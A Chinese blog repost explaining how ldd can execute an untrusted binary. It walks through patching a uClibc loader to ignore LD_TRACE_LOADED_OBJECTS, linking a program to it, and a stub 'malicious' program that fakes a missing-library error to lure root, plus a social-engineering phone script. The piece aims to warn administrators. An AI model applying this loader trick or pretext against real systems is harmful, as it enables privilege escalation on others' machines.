ldd 的一個安全問題

源文:http://coolshell.cn/?p=1626 (酷殼 

 

 

我們知道“ldd”這個命令主要是被程序員或是管理員用來查看可執行文件所依賴的動態鏈接庫的。是的,這就是這個命令的用處。可是,這個命令比你想像的要危險得多,也許很多黑客通過ldd的安全問題來攻擊你的服務器。其實,ldd的安全問題存在很長的時間了,但居然沒有被官方文檔所記錄來下,這聽上去更加難以理解了。怎麼?是不是聽起來有點不可思議?下面,讓我爲你細細道來。

首先,我們先來了解一下,我們怎麼來使用ldd的,請你看一下下面的幾個命令:

01 (1) $ ldd /bin/grep
02         linux-gate.so.1 =>  (0xffffe000)
03         libc.so.6 => /lib/libc.so.6 (0xb7eca000)
04         /lib/ld-linux.so.2 (0xb801e000)
05   
06 (2) $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
07         linux-gate.so.1 =>  (0xffffe000)
08         libc.so.6 => /lib/libc.so.6 (0xb7e30000)
09         /lib/ld-linux.so.2 (0xb7f84000)
10   
11 (3) $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
12         linux-gate.so.1 =>  (0xffffe000)
13         libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
14         /lib/ld-linux.so.2 (0xb80d0000)

第(1)個命令,我們運行了 `ldd` 於 `/bin/grep`。我們可以看到命令的輸出是我們想要的,那就是 `/bin/grep` 所依賴的動態鏈接庫。

第(2)個命令設置了一個叫 LD_TRACE_LOADED_OBJECTS 的環境變量,然後就好像在運行命令 `/bin/grep` (但其實並不是)。 其運行結果和ldd的輸出是一樣的!

第(3)個命令也是設置了環境變量 LD_TRACE_LOADED_OBJECTS ,然後調用了動態鏈接庫 `ld-linux.so` 並把 `/bin/grep` 作爲參數傳給它。我們發現,其輸出結果還是和前面兩個一樣的。

 

具體發生了什麼?

對於第二個和第三個命令來說,好像是對 `ldd` 的一個包裝或是一個隱式調用。對於第二個和第三個命令來說, `/bin/grep` 這個命令就根本沒有被運行。這是一個GNU動態載入器的怪異的特性。如果其注意到環境變量LD_TRACE_LOADED_OBJECTS 被設置了,那麼它就不會去執行那個可運行的程序,而去輸出這個可執行程序所依賴的動態鏈接庫 (在BSD 系統上的`ldd` 是一個C 程序)。

如果你使用的是Linux,那麼,你可以去看看 `ldd` 程序,你會發現這是一個 bash 的腳本。如果你仔細查看這個腳本的源碼,你會發現,第二個命令和第三個命令的差別就在於 `ld-linux.so` 裝載器是否可以被`ldd`所裝載,如果不能,那就是第二個命令,如果而的話,那就是第三個命令。

所以,如果我們可以讓`ld-linux.so` 裝載器失效的話,或是讓別的裝載器來取代這個系統默認的動態鏈接庫的話,那麼我們就可以讓 `ldd`來載入並運行我們想要程序了——使用不同的載裝器並且不處理LD_TRACE_LOADED_OBJECTS 環境變量,而是直接運行程序。

例如,你可以創建一個具有惡意的程序,如: ~/app/bin/exec 並且使用他自己的裝載器 ~/app/lib/loader.so。如果某人(比如超級用戶root) 運行了 `ldd /home/you/app/bin/exec` ,於是,他就玩完了。因爲,那並不會列出所依賴的動態鏈接庫,而是,直接執行你的那個惡意程序,這相當於,那個用戶給了你他的授權。

編譯一個新的裝載器

下載 uClibc C庫。這是一個相當漂亮的代碼,並且可以非常容易地修改一下源代碼,使其忽略LD_TRACE_LOADED_OBJECTS 檢查。

1 $ mkdir app
2 $ cd app

解壓這個包,並執行 `make menuconfig`,選項你的平臺架構(比如:i386),剩下的事情保持不變。

1 $ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
2 $ rm -rf uClibc-0.9.30.1.tar.bz2
3 $ cd uClibc-0.9.30.1
4 $ make menuconfig

編輯 .config 並設置目標安裝目錄:到 `/home/you/app/uclibc`,
把下面兩行

1 RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
2 DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

改成

1 RUNTIME_PREFIX="/home/you/app/uclibc/"
2 DEVEL_PREFIX="/home/you/app/uclibc/usr/"

現在你需要改動一下其源代碼,讓其忽略LD_TRACE_LOADED_OBJECTS 環境變量的檢查。 下面是個這修改的diff,你需要修改的是 `ldso/ldso/ldso.c` 文件。你可把下面的這個diff存成一個叫file的文件,然後運行這個命令:`patch -p0 < file`。如果你不這樣做的話,那麼,我們的黑客程序就無法工作,而我們的這個裝載器還是會認爲 `ldd` 想列出動態鏈接庫的文件列表。

01 --- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
02 +++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
03 @@ -404,9 +404,11 @@
04          }  #endif
05 +    /*
06          if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
07                  trace_loaded_objects++;
08          }
09 +    */
10    #ifndef __LDSO_LDD_SUPPORT__
11          if (trace_loaded_objects) {

下面讓我們來編譯並安裝它。

1 $ make -j 4
2 $ make install

於是,我們的 uClibc 裝載器就被安裝了,並且libc 庫指向了 /home/you/app/uclibc. 就這麼簡單,現在,我們需要做的就是把我們的uClibc的裝載器 (app/lib/ld-uClibc.so.0)變成默認的。

小試 牛刀

首先,先讓我們來創建一個測試程序,這人程序也就是輸出些自己的東西,這樣可以讓我們看到我們的程序被執行了。我們把這個程序放在 `app/bin/`下,叫“myapp.c”,下面是源代碼

01 #include <stdio.h>
02 #include <stdlib.h>
03   
04 int main() {
05   if (getenv("LD_TRACE_LOADED_OBJECTS")) {
06     printf("All your things are belong to me./n");
07   }
08   else {
09     printf("Nothing./n");
10   }
11   return 0;
12 }

這是一個很簡單的代碼了,這段代碼主要檢查一下環境變量LD_TRACE_LOADED_OBJECTS 是否被設置了,如果是,那麼惡意程序執行,如果沒有,那麼程序什麼也不發生。

下面是編譯程序的命令,,大家可以看到,我們靜態鏈接了一些函數庫。我們並不想讓LD_LIBRARY_PATH這個變量來發揮作用。

1 $ L=/home/you/app/uclibc
2 $ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 /
3     -Wl,-rpath-link,$L/lib /
4     -nostdlib /
5     myapp.c -o myapp /
6     $L/usr/lib/crt*.o /
7     -L$L/usr/lib/ /
8     -lc

下面是GCC的各個參數的解釋:

  • -Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0 — 指定一個新的裝載器。
  • -Wl,-rpath-link,$L/lib — 指定一個首要的動態裝載器所在的目錄,這個目錄用於查找動態庫。
  • -nostdlib — 不使用系統標準庫。
  • myapp.c -o myapp — 編譯myapp.c 成可執行文件 myapp,
  • $L/usr/lib/crt*.o — 靜態鏈接runtime 代碼
  • -L$L/usr/lib/ — libc 的目錄(靜態鏈接)
  • -lc —  C 庫

現在讓我們來運行一下我們的 `myapp` (沒有ldd,一切正常)

1 app/bin$ ./myapp
2 Nothing.

LD_TRACE_LOADED_OBJECTS 沒有設置,所以輸出 “Nothing” 。

現在,讓我們來使用 `ldd` 來看看這個程序的最大的影響力,讓我們以root身份來幹這個事。

1 $ su
2 Password:
3 # ldd ./myapp
4 All your things are belong to me.

哈哈,我們可以看到,ldd觸發了我們的惡意代碼。於是,我們偷了整個系統!

邪惡的程序

下面這個例子更爲實際一些,如果沒有`ldd` ,那程序程序會報錯 “error while loading shared libraries” ,這個錯誤信息會引誘你去去使用 `ldd` 去做檢查,如果你是root的話,那麼就整個系統就玩完了。而當你可以了 `ldd` 後,它會在幹完壞事後,模仿正確的`ldd`的輸出,告訴你 `libat.so.0` 不存在。

下面的代碼僅僅是向你展示了一下整個想法,代碼還需加工和改善。

01 #include <stdio.h>
02 #include <stdlib.h>
03 #include <unistd.h>
04 #include <sys/types.h>
05   
06 /*
07 This example pretends to have a fictitious library 'libat.so.0' missing.
08 When someone with root permissions runs `ldd this_program`, it does
09 something nasty in malicious() function.
10   
11 I haven't implemented anything malicious but have written down some ideas
12 of what could be done.
13   
14 This is, of course, a joke program. To make it look more real, you'd have
15 to bump its size, add some more dependencies, simulate trying to open the
16 missing library, detect if ran under debugger or strace and do absolutely
17 nothing suspicious, etc.
18 */
19   
20 void pretend_as_ldd()
21 {
22     printf("/tlinux-gate.so.1 =>  (0xffffe000)/n");
23     printf("/tlibat.so.0 => not found/n");
24     printf("/tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)/n");
25     printf("/t/lib/ld-linux.so.2 (0xb8017000)/n");
26 }
27   
28 void malicious()
29 {
30     if (geteuid() == 0) {
31         /* we are root ... */
32         printf("poof, all your box are belong to us/n");
33   
34         /* silently add a new user to /etc/passwd, */
35         /* or create a suid=0 program that you can later execute, */
36         /* or do something really nasty */
37     }
38 }
39   
40 int main(int argc, char **argv)
41 {
42     if (getenv("LD_TRACE_LOADED_OBJECTS")) {
43         malicious();
44         pretend_as_ldd();
45         return 0;
46     }
47   
48     printf("%s: error while loading shared libraries: libat.so.0: "
49            "cannot open shared object file: No such file or directory/n",
50            argv[0]);
51     return 127;
52 }

 

邪惡的電話

事實上來說,上面的那段程序可能的影響更具破壞性,因爲大多數的系統管理員可能並不知道不能使用 `ldd` 去測試那些不熟悉的執行文件。下面是一段很可能會發現的對話,讓我們看看我們的程序是如何更快地獲得系統管理員的權限的。

系統管理員的電話狂響……

系統管理員: “同志你好,我是系統管理員,有什麼可以幫你的?”

黑客:“管理員同志你好。我有一個程序不能運行,總是報錯,錯誤好像是說一個系統動態鏈接庫有問題,你能不能幫我看看?”

系統管理員:“沒問題,你的那個程序在哪裏?”

黑客: “在我的home目錄下,/home/hchen/app/bin/myapp”。

系統管理員:“ OK,等一會兒”,黑客在電話這頭可以聽到一些鍵盤的敲擊聲。

系統管理員:“好像是動態鏈接庫的問題,你能告訴我你的程序具體需要什麼樣的動態鏈接庫嗎?”

黑客說: “謝謝,應該沒有別的嘛。”

系統管理員:“嗯,查到了,說是沒有了 `libat.so.0`這是你自己的動態鏈接庫嗎?”

黑客說:“哦,好像是的,你等一下,我看看……” 黑客在那頭露出了邪惡的笑,並且,訊速地輸入了下面的命令:

`mv ~/.hidden/working_app ~/app/bin/myapp`
`mv ~/.hidden/libat.so.o ~/app/bin/`

黑客說:“哦,對了,的確是我的不對,我忘了把這個鏈接庫拷過來了,現在應該可以了,謝謝你啊,真是不好意思,麻煩你了”

系統管理員: “沒事就行了,下次注意啊!”(然後系統管理心裏暗罵,TMD,又一個白癡用戶!……)

教訓一:千萬不要使用 `ldd` 去測試你不知道的文件!
教訓二:千萬不要相信陌生人!

文章:來源(以上文章並非完全翻譯,我做過一些修改,所以,如果你要轉載,請註明作者和出處)

發佈了120 篇原創文章 · 獲贊 785 · 訪問量 590萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章